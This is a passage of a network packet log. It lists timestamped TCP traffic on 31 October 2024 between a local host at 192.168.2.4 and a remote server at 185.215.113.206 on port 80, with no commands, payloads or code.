Oct 31, 2024 17:26:09.797334909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.797369003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.797756910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.797770023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.797782898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.797795057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.797812939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.797837973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.797854900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.798605919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.798619986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.798631907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.798644066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.798645973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.798655987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.798679113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.798726082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.799546957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.799562931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.799576044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.799590111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.799607992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.799631119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.800668955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.800684929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.800697088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.800710917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.800723076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.800724030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.800765038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.800787926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.801727057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.801743031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.801755905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.801769018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.801779032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.801803112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.801832914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.802408934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.802426100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.802440882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.802452087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.802475929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.802500010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.851511955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.851561069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.851572990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.851679087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.851746082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.851876974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.851938963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.852051973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.852097034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.852226019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.852236986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.852248907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.852277994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.852308035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.911163092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.911252975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.911267996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.911297083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.911336899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.911336899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.911621094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.911637068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.911662102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.911679983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.912265062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.912281036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.912295103 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.912308931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.912316084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.912324905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.912343979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.912391901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.913068056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913081884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913095951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913108110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913115025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.913167953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.913769007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913784981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913796902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913810968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.913830042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.913862944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.914617062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.914630890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.914644003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.914665937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.914690018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.914715052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.915540934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.915556908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.915570974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.915584087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.915590048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.915597916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.915615082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.915647030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.916485071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.916500092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.916517973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.916532040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.916536093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.916547060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.916555882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.916587114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.917397976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.917412043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.917427063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.917439938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.917440891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.917476892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.966753006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.966841936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.966870070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.966886044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.966911077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.966927052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.968291998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.968307972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.968322039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.968336105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.968349934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:09.968358994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.968379021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:09.968400002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.026257992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.026320934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.026334047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.026336908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.026360989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.026381969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.026592970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.026607990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.026623011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.026638031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.026662111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.027090073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027131081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.027293921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027306080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027337074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.027746916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027759075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027770996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027782917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.027791977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.027812958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.028659105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.028672934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.028685093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.028697968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.028702974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.028723955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.029333115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.029345989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.029364109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.029373884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.029376984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.029392004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.029424906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.030294895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.030309916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.030323982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.030335903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.030339003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.030353069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.030354977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.030400991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.031254053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.031269073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.031280994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.031296968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.031297922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.031322956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.031356096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.032159090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.032174110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.032187939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.032198906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.032202005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.032216072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.032222033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.032258987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.033049107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.033066988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.033087969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.033114910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.081927061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082041025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.082048893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082063913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082088947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.082108974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.082345009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082357883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082370043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082398891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.082433939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.082786083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.082829952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.083080053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.083093882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.083122969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.083152056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.083583117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.083594084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.083626032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.141747952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.141793013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.141809940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.141812086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.141839981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.141860008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.142256975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.142272949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.142298937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.142316103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.142561913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.142576933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.142606974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.142622948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.143008947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143023968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143038034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143052101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143058062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.143079042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.143110991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.143918037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143932104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143944025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143956900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143966913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.143969059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.143990993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.144023895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.144843102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.144859076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.144874096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.144886971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.144892931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.144912958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.144938946 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.145756960 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.145780087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.145793915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.145793915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.145809889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.145817995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.145824909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.145836115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.145859003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.145867109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.146703005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.146718979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.146732092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.146744967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.146749020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.146763086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.146765947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.146796942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.146835089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.147614002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.147629023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.147643089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.147650003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.147658110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.147665024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.147682905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.147696972 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.148464918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.148480892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.148494959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.148509026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.148523092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.197240114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.197278023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.197290897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.197427988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.197544098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.197556019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.197586060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.197619915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.197902918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.197947025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.198019028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.198061943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.198210001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.198221922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.198251963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.238924026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.238970041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.238985062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.239005089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.239064932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.257644892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.257704020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.257719040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.257739067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.257766962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.258137941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.258150101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.258169889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.258182049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.258187056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.258213997 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.258933067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.258945942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.258981943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.259013891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.259392977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.259406090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.259418964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.259432077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.259438038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.259462118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.260287046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.260301113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.260313034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.260324955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.260332108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.260337114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.260366917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.260381937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.261173010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.261192083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.261213064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.261219025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.261226892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.261245012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.261275053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:10.262056112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.262073040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.262088060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:10.262100935 CET	80	49730	185.215.113.206	192.168.2.4
